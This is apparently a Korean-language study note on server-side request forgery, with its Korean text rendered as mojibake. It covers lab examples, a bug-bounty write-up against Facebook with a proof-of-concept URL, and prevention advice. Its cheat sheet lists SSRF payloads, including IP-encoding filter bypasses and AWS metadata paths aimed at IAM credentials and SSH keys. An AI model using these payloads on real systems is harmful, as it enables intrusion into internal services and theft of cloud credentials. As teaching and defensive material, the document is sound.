Server-side Request Forgery(SSRF)
๐ What is SSRF?
Server-side request forgery(SSRF)๋ ๊ณต๊ฒฉ์์ ์์ฒญ์ ๋ฐฑ์๋ ์๋ฒ๋จ์ผ๋ก ์์ฒญํ์ฌ ๋ด๋ถ ์๋ฒ์์คํ ์ ์ ๊ทผํ๊ฑฐ๋ ์์์ ๋ช ๋ น์ ์คํํ ์ ์๋ ์ทจ์ฝ์ ์ ๋๋ค.
Basic SSRF against the local server
์ผํ๋ชฐ์ URL์ /admin ๋๋ ํฐ๋ฆฌ๋ก ์ ๊ทผ ์ ์ด๋๋ฏผ ๊ณ์ ์ผ๋ก ์ ๊ทผํ๊ฑฐ๋, loopback์์ฒญ์์๋ง ์ ๊ทผ์ด ๊ฐ๋ฅํ๋ค๊ณ ์ ๊ทผ์ด ๊ฑฐ๋ถ๋ฉ๋๋ค
์ผํ๋ชฐ์์ ํ ์ํ์ ์ฌ๊ณ ๋ฅผ ํ์ธํ๋ ๊ธฐ๋ฅ์ด ์์ต๋๋ค.
ํด๋น ๊ธฐ๋ฅ์ ํ๋ผ๋ฏธํฐ๋ฅผ ํ์ธํด๋ณด๋ฉด ๋ฐฑ์๋์ ์์ฒญํ์ฌ ์ฌ๊ณ ๊ฐ ๋จ์์๋์ง ํ์ธํ๋ ๊ธฐ๋ฅ์
๋๋ค.
์ฌ๊ณ ํ์ธ์ ์์ฒญ๋๋ ํ๋ผ๋ฏธํฐ๋ฅผ localhost ์ฃผ์๋ก ๋ณ์กฐํ์ฌ SSRF ๊ณต๊ฒฉ์ ์งํํ ์ ์์ต๋๋ค.
๋ณ์กฐ ์ :
http://stock.weliketoshop.net:8080/product/stock/check?productId=13&storeId=1
๋ณ์กฐ ํ :
http://localhost/admin
admin๊ณ์ ๋๋ loopback์์๋ง ์ ๊ทผํ ์ ์์๋ admin ํ์ด์ง์ ์ ๊ทผ์ด ๊ฐ๋ฅํด์ง๋๋ค.
adminํ์ด์ง์ ์ ๊ทผ๊ฐ๋ฅ
SSRF with blacklist-based input filter
127.0.0.1์ด ํํฐ๋ง ๋นํ๊ณ ์์๊ฒฝ์ฐ
http://127.1/
admin์ด ํํฐ๋ง ๋นํ๊ณ ์์๊ฒฝ์ฐ
//URL ์ธ์ฝ๋ฉ์ ์ฌ์ฉํ์ฌ ์ฐํ์๋
http://127.0.0.1/%61dmin
http://127.0.0.1/%2561dmin
๐ Cheat sheet
-
Basic payloads with localhost
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://0.0.0.0:80
http://0.0.0.0:443
http://0.0.0.0:22
http://localhost:80
http://localhost:443
http://localhost:22
-
Bypass using a decimal IP location
http://2130706433/ = http://127.0.0.1
http://017700000001/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
http://2852039166/ = http://169.254.169.254
-
Bypass using octal IP
http://0177.0.0.1/ = http://127.0.0.1
http://o177.0.0.1/ = http://127.0.0.1
http://0o177.0.0.1/ = http://127.0.0.1
http://q177.0.0.1/ = http://127.0.0.1
-
Bypass using URL encoding
http://127.0.0.1/%61dmin
http://127.0.0.1/%2561dmin
SSRF URL for Cloud Instances
-
SSRF URL for AWS Bucket
# Docs Interesting path to look for at http://169.254.169.254 or http://instance-data
Always here : /latest/meta-data/{hostname,public-ipv4,...}
User data (startup script for auto-scaling) : /latest/user-data
Temporary AWS credentials : /latest/meta-data/iam/security-credentials/
# DNS record
http://instance-data
http://169.254.169.254
http://169.254.169.254.nip.io/
# HTTP redirect
Static:http://nicob.net/redir6a
Dynamic:http://nicob.net/redir-http-169.254.169.254:80-
# Alternate IP encoding
http://425.510.425.510/ Dotted decimal with overflow
http://2852039166/ Dotless decimal
http://7147006462/ Dotless decimal with overflow
http://0xA9.0xFE.0xA9.0xFE/ Dotted hexadecimal
http://0xA9FEA9FE/ Dotless hexadecimal
http://0x41414141A9FEA9FE/ Dotless hexadecimal with overflow
http://0251.0376.0251.0376/ Dotted octal
http://0251.00376.000251.0000376/ Dotted octal with padding
# More urls to include
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
http://169.254.169.254/latest/dynamic/instance-identity/document
# AWS SSRF Bypasses
Converted Decimal IP: http://2852039166/latest/meta-data/
IPV6 Compressed: http://[::ffff:a9fe:a9fe]/latest/meta-data/
IPV6 Expanded: http://[0:0:0:0:0:ffff:a9fe:a9fe]/latest/meta-data/
IPV6/IPV4: http://[0:0:0:0:0:ffff:169.254.169.254]/latest/meta-data/
๐ BugBounty Write up
Facebook SSRF
https://amineaboud.medium.com/10000-facebook-ssrf-bug-bounty-402bd21e58e5
์๋ธ๋๋ฉ์ธ ํ์ + ํ์ผ ๋ธ๋ฃจํธํฌ์ฑ + JS ๋ถ์ + SSRF๊ฐ ํฉ์ณ์ ธ ํ์ด์ค๋ถ์์ $10000์ ํฌ์์ ๋ฐ์ ๊ธ ์ ๋๋ค.
ํด๋น ์ทจ์ฝ์ ์ผ๋ก ์ ์์ ์ธ ์ฌ์ฉ์๊ฐ Facebook ๊ธฐ์ ๋คํธ์ํฌ์ ๋ด๋ถ ์์ฒญ์ ๋ณด๋ผ ์ ์์ต๋๋ค.
1. ์๋ธ๋๋ฉ์ธ ํ์
์๋ธ๋๋ฉ์ธ ํ์์ ํตํด Facebook์ __phishme.thefacebook.com__ ํ์ด์ง ๋ฐ๊ฒฌ
ํด๋น ํ์ด์ง๋ 403 ์ ๊ทผ๊ถํ ์๋ฌ๋ก ์ ๊ทผ์ด ๋ถ๊ฐํ๋ค๊ณ ๋์ต๋๋ค.
2. ์๋ฐ์คํฌ๋ฆฝํธ ํ์ผ ๋ธ๋ฃจํธํฌ์ฑ
๋ฐ๊ฒฌํ ํ์ด์ง์ ํ์ ๋๋ ํ ๋ฆฌ๋ฅผ ๋ธ๋ฃจํธ ํฌ์ฑ ์งํ
https://phishme.thefacebook.com/**.js
https://phishme.thefacebook.com/Home.js Hidden JSํ์ผ ๋ฐ๊ฒฌ
3. Home.js ์ฝ๋ ๋ฆฌ๋ทฐ
Home.js ํ์ผ์ ์ฝ๋๋ฅผ ์ดํด๋ณด๋ ์ค ํฅ๋ฏธ์๋ ํจ์ ๋ฐ๊ฒฌ
sendPhishRequest = ํน์ ๋งํฌ์์ XMLHttpRequest ์์ฒญ์ ๋ณด๋ด๋ ํจ์
ํด๋น ์ฝ๋๋ฅผ ์กฐ๊ธ ๋ ์ดํด๋ณธ ๊ฒฐ๊ณผ ๋ค์๊ณผ ๊ฐ์ด ์ฌ์ฉ๋๋๊ฒ์ ํ์ธ ํ์ต๋๋ค.
Util.sendPhishRequest(โPhishGetItemData.ashxโ, { itemId: itemId, ewsUrl: ewsUrl, token: token }
Explotation :
๋ช๊ฐ์ง ์์์ ํ ํฐ๊ฐ์ ํ๋ํ ํ ๋ง์นจ๋ด SSRF ๊ณต๊ฒฉ์ ์ฑ๊ณต
itemId: 123
ewsUrl: http://127.0.0.1:PORT
token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7Hg
POC:
https://phishme.thefacebook.com/PhishGetItemData.ashx?itemId=123&ewsUrl=http://127.0.0.1:PORT/&token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7Hg
๐ How to Prevent ?
Server Side ์์ฒญ์ ์ฌ์ฉ๋๋ ์ ๋ ฅ Parameter ๊ฒ์ฆ ํ์ฉํ URL๋ค์ ์ฐ์ Write-list ์ค์ ์ ํ๊ณ , ํํฐ๋ง ์ํฌ URL, Scheme, ํน์๋ฌธ์ ๋ฑ์ Black-list ๋ก ์ค์ ์งํ
White list ๋ฐฉ์
= ํ์ฉํ URL๋ค์ ์ ์ํด ๋ ๋ค ์ ๋ ฅ ๋ฐ์ URL๊ฐ ํ์ฉ URL์ธ์ง ๊ฒ์ฆBlack list ๋ฐฉ์
= ๊ธ์งํ URL, Schema๋ฑ์ ์ ์ํด๋๊ณ ์ ๋ ฅ ๋ฐ์ URL์ ๊ธ์ง๋ URL,Scheme๊ฐ ์๋์ง ๊ฒ์ฆ
-> ์ฌ์ค IP๊ฐ ์ ๋ ฅ ๊ฐ์ผ๋ก ์ฃผ์ด์ง๋ฉด, ์๋ฌํ์ด์ง๋ก ์ฐ๊ฒฐ
ex) 10.0.0.0 ~ 10.255.255.255, 172.16.0.0 ~ 172.31.255.255, 192.168.0.0 ~ 192.168.255.255
-> loopback ์ฃผ์๊ฐ ์ ๋ ฅ ๊ฐ์ผ๋ก ์ฃผ์ด์ง๋ฉด ์๋ฌํ์ด์ง๋ก ์ฐ๊ฒฐ
ex) localhost, 127.0.0.1 ๋ฑ
-> ๋ถํ์ํ scheme๊ฐ ์ ๋ ฅ๊ฐ์ผ๋ก ์ฃผ์ด์ง๋ฉด ์๋ฌ ํ์ด์ง๋ก ์ฐ๊ฒฐ
ex) sftp://, file://, ftp:// ๋ฑ
-> ๋ถํ์ํ ํน์๋ฌธ์๊ฐ ์ ๋ ฅ ๊ฐ์ผ๋ก ์ฃผ์ด์ง๋ฉด ์๋ฌ ํ์ด์ง๋ก ์ฐ๊ฒฐ
ex) @,%0a ๋ฑ